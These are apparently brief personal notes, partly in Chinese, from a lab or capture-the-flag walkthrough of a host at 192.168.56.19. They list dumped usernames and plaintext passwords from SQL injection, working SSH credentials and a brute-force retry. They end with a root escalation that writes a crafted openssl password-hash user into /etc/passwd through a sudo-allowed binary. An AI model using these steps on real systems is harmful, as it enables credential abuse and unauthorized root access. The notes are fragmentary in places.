ipaddress:192.168.56.19
### information_gathering
open-port:80
find sql injection:
user:marym julied fredf barneyr tomc jerrym wilmaf bettyr chandlerb joeyt rachelg rossg monicag phoebeb scoots janitor janitor2
pass:
| 3kfs86sfd |
| --- |
| 468sfdfsd2 |
| 4sfd87sfd1 |
| RocksOff |
| TC&TheBoyz |
| B8m#48sd |
| Pebbles |
| BamBam01 |
| UrAG0D! |
| Passw0rd |
| yN72#dsd |
| ILoveRachel |
| 3248dsds7s |
| smellycats |
| YR3BVxxxw87 |
| Ilovepeepee |
| Hawaii-Five-0 |
admin transorbital1
在后台并没什么发现，于是转向ssh
### Establish a foothold
得到三个账户：
```
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
```
janitor find some password:
...
joeyt nothing can find some
so i add the pwd to ssh_pwd to brute again:
go on~:
```
openssl passwd -1 -salt gits password
```
```
$1$gits$zyQ/0nRnnKb7vab/jPE.I1
```
```
/tmp/hackin
sudo ./test /tmp/hackin /etc/passwd
su git
passwd is toor
```